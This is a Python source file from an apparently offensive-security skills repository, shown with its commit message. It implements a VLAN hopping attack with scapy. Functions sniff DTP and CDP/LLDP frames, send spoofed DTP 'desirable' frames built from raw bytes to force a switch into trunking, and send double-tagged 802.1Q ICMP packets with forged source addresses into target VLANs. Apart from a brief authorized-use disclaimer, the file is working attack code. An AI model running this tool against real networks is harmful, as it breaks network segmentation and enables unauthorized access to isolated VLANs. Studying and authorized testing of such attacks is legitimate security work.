Files
Anthropic-Cybersecurity-Skills/skills/performing-vlan-hopping-attack/scripts/agent.py
T
mukul975 c47eed6a64 Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands
- Fix 49 verify=False in defensive skills (env-var override)
- Add timeout to 231 HTTP/subprocess/socket calls
- Fix 6 SQL injection patterns with whitelist validation
- Replace 8 __import__() with standard imports
- Remove 701 unused imports across 442 files
- Add authorized-testing disclaimers to all offensive skills
- Complete 11 incomplete skill directories
- Expand 10 stub SKILL.md files with full content
- Fix 2 YAML parse errors in frontmatter
- Fix 5 pre-existing syntax errors
- Convert 22 hardcoded paths/ports to environment variables
- Back up 21 redundant skill pairs to .bak
- Fix 2 global declaration errors
- 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE)
- 0 compile errors across all 724 agent.py files
2026-03-19 13:26:49 +01:00

186 lines
6.3 KiB
Python

#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""VLAN hopping assessment agent using scapy for DTP and double-tagging tests."""
import subprocess
import sys
from datetime import datetime
try:
from scapy.all import (
Ether, Dot1Q, IP, ICMP, sendp, sniff, get_if_hwaddr,
conf, LLC, SNAP, Raw
)
except ImportError:
print("Install: pip install scapy")
sys.exit(1)
def get_interface_info(iface="eth0"):
"""Get network interface details."""
mac = get_if_hwaddr(iface)
result = subprocess.run(
["ip", "link", "show", iface], capture_output=True, text=True,
timeout=120,
)
return {"interface": iface, "mac": mac, "status": result.stdout.strip()}
def check_vlan_config(iface="eth0"):
"""Check current VLAN configuration on the interface."""
vlan_config = None
try:
with open("/proc/net/vlan/config", "r") as f:
vlan_config = f.read()
except FileNotFoundError:
pass
return {"vlan_config": vlan_config}
def listen_for_dtp(iface="eth0", timeout=30):
"""Listen for DTP frames to assess trunk negotiation status."""
dtp_frames = []
def dtp_handler(pkt):
if pkt.haslayer(LLC):
dtp_frames.append({
"src": pkt[Ether].src,
"dst": pkt[Ether].dst,
"time": str(datetime.now()),
})
sniff(iface=iface, filter="ether dst 01:00:0c:cc:cc:cc",
prn=dtp_handler, timeout=timeout, store=0)
return {
"dtp_frames_received": len(dtp_frames),
"dtp_active": len(dtp_frames) > 0,
"details": dtp_frames,
}
def listen_for_cdp_lldp(iface="eth0", timeout=60):
"""Capture CDP/LLDP frames to discover switch information."""
discovery_frames = []
def handler(pkt):
discovery_frames.append({
"src": pkt[Ether].src,
"type": hex(pkt[Ether].type) if pkt[Ether].type else "LLC",
"time": str(datetime.now()),
"length": len(pkt),
})
sniff(iface=iface,
filter="ether proto 0x88cc or (ether dst 01:00:0c:cc:cc:cc)",
prn=handler, timeout=timeout, store=0)
return {"frames": discovery_frames, "switch_discovered": len(discovery_frames) > 0}
def send_dtp_desirable(iface="eth0", count=10):
"""Send DTP desirable frames to attempt trunk negotiation."""
mac = get_if_hwaddr(iface)
dtp_frame = (
Ether(dst="01:00:0c:cc:cc:cc", src=mac) /
LLC(dsap=0xAA, ssap=0xAA, ctrl=3) /
SNAP(OUI=0x00000C, code=0x2004) /
Raw(load=bytes([
0x00, 0x01, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02, 0x00, 0x05, 0x03,
0x00, 0x03, 0x00, 0x05, 0xA5,
0x00, 0x04, 0x00, 0x0A,
]) + bytes.fromhex(mac.replace(":", "")))
)
sendp(dtp_frame, iface=iface, count=count, inter=1, verbose=False)
return {"frames_sent": count, "type": "DTP Desirable", "interface": iface}
def create_vlan_interface(iface, vlan_id, ip_addr):
"""Create a VLAN subinterface."""
subprocess.run(["modprobe", "8021q"], capture_output=True, timeout=120)
vlan_iface = f"{iface}.{vlan_id}"
subprocess.run(
["ip", "link", "add", "link", iface, "name", vlan_iface,
"type", "vlan", "id", str(vlan_id)],
capture_output=True,
timeout=120,
)
subprocess.run(
["ip", "addr", "add", f"{ip_addr}/24", "dev", vlan_iface],
capture_output=True,
timeout=120,
)
subprocess.run(["ip", "link", "set", vlan_iface, "up"], capture_output=True, timeout=120)
return {"vlan_interface": vlan_iface, "vlan_id": vlan_id, "ip": ip_addr}
def send_double_tagged(iface, outer_vlan, inner_vlan, target_ip):
"""Send double-tagged 802.1Q frames for VLAN hopping."""
mac = get_if_hwaddr(iface)
pkt = (
Ether(dst="ff:ff:ff:ff:ff:ff", src=mac) /
Dot1Q(vlan=outer_vlan) /
Dot1Q(vlan=inner_vlan) /
IP(dst=target_ip, src=f"10.10.{inner_vlan}.99") /
ICMP(type=8)
)
sendp(pkt, iface=iface, count=5, inter=1, verbose=False)
return {
"type": "Double Tagged",
"outer_vlan": outer_vlan,
"inner_vlan": inner_vlan,
"target_ip": target_ip,
"note": "Unidirectional - no responses expected",
}
def cleanup_vlan_interfaces(iface, vlan_ids):
"""Remove VLAN subinterfaces created during testing."""
removed = []
for vid in vlan_ids:
vlan_iface = f"{iface}.{vid}"
result = subprocess.run(
["ip", "link", "del", vlan_iface], capture_output=True,
timeout=120,
)
removed.append({"interface": vlan_iface, "success": result.returncode == 0})
return removed
def run_assessment(iface="eth0", target_vlans=None, target_ips=None):
"""Run full VLAN hopping assessment."""
if target_vlans is None:
target_vlans = [10, 20]
if target_ips is None:
target_ips = {10: "10.10.10.1", 20: "10.10.20.1"}
report = {
"timestamp": datetime.now().isoformat(),
"interface": get_interface_info(iface),
"tests": [],
}
dtp_listen = listen_for_dtp(iface, timeout=15)
report["tests"].append({"test": "DTP Listening", "result": dtp_listen})
dtp_send = send_dtp_desirable(iface)
report["tests"].append({"test": "DTP Switch Spoofing", "result": dtp_send})
for vlan_id in target_vlans:
ip = target_ips.get(vlan_id, f"10.10.{vlan_id}.1")
dt_result = send_double_tagged(iface, 1, vlan_id, ip)
report["tests"].append({"test": f"Double Tagging VLAN {vlan_id}", "result": dt_result})
cleanup_vlan_interfaces(iface, target_vlans)
return report
def print_report(report):
print("VLAN Hopping Assessment Report")
print("=" * 50)
print(f"Date: {report['timestamp']}")
print(f"Interface: {report['interface']['interface']} ({report['interface']['mac']})")
for test in report["tests"]:
print(f"\n--- {test['test']} ---")
for k, v in test["result"].items():
print(f" {k}: {v}")
if __name__ == "__main__":
iface = sys.argv[1] if len(sys.argv) > 1 else "eth0"
result = run_assessment(iface)
print_report(result)